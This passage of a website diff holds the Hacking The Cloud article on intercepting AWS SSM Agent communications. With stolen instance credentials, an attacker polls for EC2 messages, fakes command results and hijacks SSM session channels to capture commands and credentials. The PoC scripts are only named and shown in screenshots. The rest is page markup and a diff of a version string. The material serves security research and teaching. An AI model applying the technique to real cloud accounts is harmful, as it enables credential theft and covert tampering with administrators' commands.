class=md-nav__item> <a href=#intercept-ec2-messages class=md-nav__link> <span class=md-ellipsis> Intercept EC2 Messages </span> </a> </li> <li class=md-nav__item> <a href=#intercept-ssm-sessions class=md-nav__link> <span class=md-ellipsis> Intercept SSM Sessions </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/intercept_ssm_communications.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Intercept SSM Communications</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://frichetten.com/blog/ssm-agent-tomfoolery/ >Intercept SSM Agent Communications</a> by <a href=https://twitter.com/frichette_n>Nick Frichette </a></p> <p><a class=glightbox href=/images/researchers/nick_frichette.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/nick_frichette.jpg alt="Nick Frichette" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <p><a href=https://github.com/Frichetten/ssm-agent-research>ssm-agent-research</a></p> </li> </ul> </div> <p>The <a href=https://github.com/aws/amazon-ssm-agent>SSM Agent</a> is responsible for allowing EC2 instances to communicate with SSM services. The agent authenticates with SSM via the IAM role and the credentials in the <a href=https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ >Metadata Service</a>. As a result, if you gain access to an EC2 instance or its IAM credentials you can spoof the agent and intercept EC2 Messages and SSM Sessions.</p> <p>For an in depth explanation of how this works, please see the <a href=https://frichetten.com/blog/ssm-agent-tomfoolery/ >original research</a>. </p> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>The tools used in this page are proof of concept, and should not be used for serious use cases. If you create or find a more production-ready tool please open an <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/issues>issue</a>.</p> </div> <h3 id=intercept-ec2-messages>Intercept EC2 Messages<a class=headerlink href=#intercept-ec2-messages title="Permanent link">&para;</a></h3> <p>The normal operations of the SSM Agent is to poll for messages it has been sent. We can abuse this functionality by frequently polling ourselves. Doing so, will increase the likelihood (to a near guarantee) that we receive the messages before the real SSM agent does.</p> <p>By abusing this functionality we can intercept the EC2 messages and response with our own output, allowing us to force a "Success" response.</p> <p>Using the ssm-send-command-interception.py PoC:</p> <figure> <p><a class=glightbox href=../../../images/aws/post_exploitation/intercept_ssm_communications/intercept_message.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Intercepting Commands" loading=lazy src=../../../images/aws/post_exploitation/intercept_ssm_communications/intercept_message.png></a></p> </figure> <figure> <p><a class=glightbox href=../../../images/aws/post_exploitation/intercept_ssm_communications/modified_output.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Modified Output" loading=lazy src=../../../images/aws/post_exploitation/intercept_ssm_communications/modified_output.png></a></p> </figure> <h3 id=intercept-ssm-sessions>Intercept SSM Sessions<a class=headerlink href=#intercept-ssm-sessions title="Permanent link">&para;</a></h3> <p>Normally the SSM Agent will spawn a WebSocket connection back to SSM. This first WebSocket is the control channel and is responsible for spawning the data channels (which actually process the information). Due to this setup, we can spawn our own control channel and intercept all incoming connections. This can allow us to intercept or modify the communications happening, and potentially allow us to intercept sensitive commands and credentials.</p> <p>Using the ssm-session-interception.py PoC:</p> <figure> <p><a class=glightbox href=../../../images/aws/post_exploitation/intercept_ssm_communications/block_session.gif data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Session Interception" loading=lazy src=../../../images/aws/post_exploitation/intercept_ssm_communications/block_session.gif></a></p> </figure> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">November 21, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">February 6, 2021</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/aws/post_exploitation/lambda_persistence/index.html b/aws/post_exploitation/lambda_persistence/index.html
index 8d7afbd9d..f1381137f 100644
--- a/aws/post_exploitation/lambda_persistence/index.html
+++ b/aws/post_exploitation/lambda_persistence/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to establish persistence on a Lambda function after getting remote code execution."><link href=https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ rel=canonical><link href=../intercept_ssm_communications/ rel=prev><link href=../role-chain-juggling/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Lambda Persistence - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Lambda Persistence - Hacking The Cloud"><meta property=og:description content="How to establish persistence on a Lambda function after getting remote code execution."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Lambda Persistence - Hacking The Cloud"><meta property=twitter:description content="How to establish persistence on a Lambda function after getting remote code execution."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to establish persistence on a Lambda function after getting remote code execution."><link href=https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ rel=canonical><link href=../intercept_ssm_communications/ rel=prev><link href=../role-chain-juggling/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Lambda Persistence - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Lambda Persistence - Hacking The Cloud"><meta property=og:description content="How to establish persistence on a Lambda function after getting remote code execution."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Lambda Persistence - Hacking The Cloud"><meta property=twitter:description content="How to establish persistence on a Lambda function after getting remote code execution."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#python-runtime class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Lambda Persistence </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 